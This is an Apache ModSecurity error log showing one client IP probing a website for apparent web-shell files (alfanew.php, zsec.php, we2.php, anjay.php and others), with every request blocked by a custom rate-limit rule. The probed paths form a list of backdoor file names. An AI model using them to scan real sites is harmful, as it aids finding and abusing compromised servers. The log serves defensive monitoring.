[Mon Jan 05 18:49:34.379545 2026] [:error] [pid 5632:tid 5665] [client 4.197.220.165:15604] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aVuXPoN3ZWvlOh-nbt-wtgAAANU"]
[Mon Jan 05 18:49:34.447838 2026] [:error] [pid 5536:tid 5598] [client 4.197.220.165:11235] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aVuXPgRtMZNG6xI8yDzN9QAAAIE"]
[Mon Jan 05 18:49:34.528805 2026] [:error] [pid 5536:tid 5608] [client 4.197.220.165:15570] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aVuXPgRtMZNG6xI8yDzN9wAAAIs"]
[Mon Jan 05 18:49:34.595574 2026] [:error] [pid 5632:tid 5662] [client 4.197.220.165:11228] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aVuXPoN3ZWvlOh-nbt-wuAAAANI"]
[Mon Jan 05 18:49:34.720945 2026] [:error] [pid 5536:tid 5607] [client 4.197.220.165:15490] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aVuXPgRtMZNG6xI8yDzN-AAAAIo"]
[Mon Jan 05 18:49:34.831885 2026] [:error] [pid 5632:tid 5659] [client 4.197.220.165:15571] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aVuXPoN3ZWvlOh-nbt-wuQAAAM8"]
[Mon Jan 05 18:49:35.002444 2026] [:error] [pid 54081:tid 54099] [client 4.197.220.165:15556] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aVuXP1L4jLgtF-b9w4dvSAAAAU8"]
[Mon Jan 05 18:49:35.150926 2026] [:error] [pid 6680:tid 6705] [client 4.197.220.165:15534] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aVuXP6E58uNoazzTmx3YxQAAARc"]
[Mon Jan 05 18:49:35.412018 2026] [:error] [pid 5535:tid 5575] [client 4.197.220.165:15503] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aVuXP2nkedMjhVX0PTVdHAAAAEU"]
[Mon Jan 05 18:49:35.528115 2026] [:error] [pid 28407:tid 28427] [client 4.197.220.165:15507] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aVuXP9ercd3ptydUzM0xOQAAAZA"]
[Mon Jan 05 18:49:35.661250 2026] [:error] [pid 28407:tid 28410] [client 4.197.220.165:11227] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aVuXP9ercd3ptydUzM0xOgAAAYA"]
[Mon Jan 05 18:49:35.873464 2026] [:error] [pid 54081:tid 54101] [client 4.197.220.165:15540] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aVuXP1L4jLgtF-b9w4dvSQAAAVE"]
[Mon Jan 05 18:49:36.045646 2026] [:error] [pid 54081:tid 54091] [client 4.197.220.165:11231] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aVuXQFL4jLgtF-b9w4dvSwAAAUc"]
[Mon Jan 05 18:49:36.223122 2026] [:error] [pid 5536:tid 5609] [client 4.197.220.165:15561] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aVuXQARtMZNG6xI8yDzN-QAAAIw"]
[Mon Jan 05 18:49:36.284453 2026] [:error] [pid 5632:tid 5648] [client 4.197.220.165:15584] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aVuXQIN3ZWvlOh-nbt-wuwAAAMQ"]
[Mon Jan 05 18:49:36.350382 2026] [:error] [pid 5535:tid 5578] [client 4.197.220.165:15603] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aVuXQGnkedMjhVX0PTVdHgAAAEg"]
[Mon Jan 05 18:49:36.577137 2026] [:error] [pid 5632:tid 5645] [client 4.197.220.165:11200] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aVuXQIN3ZWvlOh-nbt-wvAAAAME"]
[Mon Jan 05 18:49:37.349228 2026] [:error] [pid 28407:tid 28433] [client 4.197.220.165:15505] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aVuXQdercd3ptydUzM0xPAAAAZY"]
[Mon Jan 05 18:49:37.387031 2026] [:error] [pid 28407:tid 28435] [client 4.197.220.165:15550] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aVuXQdercd3ptydUzM0xPQAAAZg"]
[Mon Jan 05 18:49:37.526382 2026] [:error] [pid 6680:tid 6706] [client 4.197.220.165:11215] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aVuXQaE58uNoazzTmx3YxwAAARg"]
[Mon Jan 05 18:49:37.594672 2026] [:error] [pid 5536:tid 5603] [client 4.197.220.165:15583] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aVuXQQRtMZNG6xI8yDzN-wAAAIY"]
[Mon Jan 05 18:49:37.690080 2026] [:error] [pid 5536:tid 5620] [client 4.197.220.165:15579] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aVuXQQRtMZNG6xI8yDzN_AAAAJc"]
[Mon Jan 05 18:49:37.804811 2026] [:error] [pid 5536:tid 5597] [client 4.197.220.165:15542] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aVuXQQRtMZNG6xI8yDzN_QAAAIA"]
[Mon Jan 05 18:49:37.853132 2026] [:error] [pid 5536:tid 5605] [client 4.197.220.165:15580] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aVuXQQRtMZNG6xI8yDzN_gAAAIg"]
[Mon Jan 05 18:49:37.976468 2026] [:error] [pid 5536:tid 5601] [client 4.197.220.165:15597] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aVuXQQRtMZNG6xI8yDzN_wAAAIQ"]
[Mon Jan 05 18:49:38.133427 2026] [:error] [pid 5536:tid 5606] [client 4.197.220.165:15613] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aVuXQgRtMZNG6xI8yDzOAQAAAIk"]
[Mon Jan 05 18:49:38.268143 2026] [:error] [pid 28407:tid 28432] [client 4.197.220.165:15511] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aVuXQtercd3ptydUzM0xPwAAAZU"]
[Mon Jan 05 18:49:38.302900 2026] [:error] [pid 5536:tid 5617] [client 4.197.220.165:11206] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aVuXQgRtMZNG6xI8yDzOAgAAAJQ"]
[Mon Jan 05 18:49:38.377227 2026] [:error] [pid 28407:tid 28422] [client 4.197.220.165:15535] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aVuXQtercd3ptydUzM0xQQAAAYs"]
[Mon Jan 05 18:49:38.408703 2026] [:error] [pid 5536:tid 5600] [client 4.197.220.165:15562] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aVuXQgRtMZNG6xI8yDzOAwAAAIM"]
[Mon Jan 05 18:49:38.503594 2026] [:error] [pid 6680:tid 6692] [client 4.197.220.165:11203] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aVuXQqE58uNoazzTmx3YyAAAAQo"]
[Mon Jan 05 18:49:38.556827 2026] [:error] [pid 5536:tid 5618] [client 4.197.220.165:15577] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aVuXQgRtMZNG6xI8yDzOBQAAAJU"]
[Mon Jan 05 18:49:38.807739 2026] [:error] [pid 5536:tid 5619] [client 4.197.220.165:15551] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hugo.php"] [unique_id "aVuXQgRtMZNG6xI8yDzOBgAAAJY"]
[Mon Jan 05 18:49:39.099956 2026] [:error] [pid 5536:tid 5611] [client 4.197.220.165:11237] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aVuXQwRtMZNG6xI8yDzOCAAAAI4"]
[Mon Jan 05 18:49:39.288943 2026] [:error] [pid 28407:tid 28434] [client 4.197.220.165:11138] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aVuXQ9ercd3ptydUzM0xQgAAAZc"]
[Mon Jan 05 18:49:39.593204 2026] [:error] [pid 6680:tid 6704] [client 4.197.220.165:15491] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aVuXQ6E58uNoazzTmx3YyQAAARY"]
[Mon Jan 05 18:49:39.747931 2026] [:error] [pid 28407:tid 28426] [client 4.197.220.165:15560] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aVuXQ9ercd3ptydUzM0xRAAAAY8"]
[Mon Jan 05 18:49:39.865853 2026] [:error] [pid 28407:tid 28428] [client 4.197.220.165:15528] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anjay.php"] [unique_id "aVuXQ9ercd3ptydUzM0xRgAAAZE"]
[Mon Jan 05 18:49:39.906460 2026] [:error] [pid 28407:tid 28413] [client 4.197.220.165:15537] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anjay.php"] [unique_id "aVuXQ9ercd3ptydUzM0xRwAAAYM"]
[Mon Jan 05 18:49:40.026761 2026] [:error] [pid 5536:tid 5613] [client 4.197.220.165:15568] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anjay.php"] [unique_id "aVuXRARtMZNG6xI8yDzOCgAAAJA"]
[Mon Jan 05 18:49:40.119479 2026] [:error] [pid 54081:tid 54086] [client 4.197.220.165:15548] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anjay.php"] [unique_id "aVuXRFL4jLgtF-b9w4dvTgAAAUI"]
[Mon Jan 05 18:49:40.196550 2026] [:error] [pid 5632:tid 5660] [client 4.197.220.165:15553] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aVuXRIN3ZWvlOh-nbt-wvgAAANA"]
[Mon Jan 05 18:49:40.404705 2026] [:error] [pid 5632:tid 5652] [client 4.197.220.165:11204] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aVuXRIN3ZWvlOh-nbt-wvwAAAMg"]
[Mon Jan 05 18:49:40.489952 2026] [:error] [pid 5536:tid 5609] [client 4.197.220.165:15516] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aVuXRARtMZNG6xI8yDzOCwAAAIw"]
[Mon Jan 05 18:49:40.534247 2026] [:error] [pid 5535:tid 5574] [client 4.197.220.165:11142] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aVuXRGnkedMjhVX0PTVdJgAAAEQ"]
[Mon Jan 05 18:49:40.584147 2026] [:error] [pid 28407:tid 28423] [client 4.197.220.165:11194] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVuXRNercd3ptydUzM0xSgAAAYw"]
[Mon Jan 05 18:49:40.618311 2026] [:error] [pid 28407:tid 28430] [client 4.197.220.165:11256] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVuXRNercd3ptydUzM0xSwAAAZM"]
[Mon Jan 05 18:49:40.758721 2026] [:error] [pid 5535:tid 5594] [client 4.197.220.165:15513] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVuXRGnkedMjhVX0PTVdJwAAAFg"]
[Mon Jan 05 18:49:40.810871 2026] [:error] [pid 5534:tid 5566] [client 4.197.220.165:15518] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aVuXRJNs9XmbR6unB0ylnAAAABc"]
[Mon Jan 05 18:49:40.996292 2026] [:error] [pid 5535:tid 5580] [client 4.197.220.165:15559] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVuXRGnkedMjhVX0PTVdKQAAAEo"]
[Mon Jan 05 18:49:41.191701 2026] [:error] [pid 5535:tid 5576] [client 4.197.220.165:11224] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVuXRWnkedMjhVX0PTVdKgAAAEY"]
[Mon Jan 05 18:49:41.325601 2026] [:error] [pid 5535:tid 5590] [client 4.197.220.165:15543] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVuXRWnkedMjhVX0PTVdKwAAAFQ"]
[Mon Jan 05 18:49:41.424906 2026] [:error] [pid 54081:tid 54097] [client 4.197.220.165:15590] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVuXRVL4jLgtF-b9w4dvUAAAAU0"]
[Mon Jan 05 18:49:41.570708 2026] [:error] [pid 28407:tid 28425] [client 4.197.220.165:15509] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVuXRdercd3ptydUzM0xTQAAAY4"]
[Mon Jan 05 18:49:41.628232 2026] [:error] [pid 5536:tid 5615] [client 4.197.220.165:15522] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVuXRQRtMZNG6xI8yDzODAAAAJI"]
[Mon Jan 05 18:49:41.660981 2026] [:error] [pid 28407:tid 28427] [client 4.197.220.165:11155] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pn.php"] [unique_id "aVuXRdercd3ptydUzM0xTgAAAZA"]
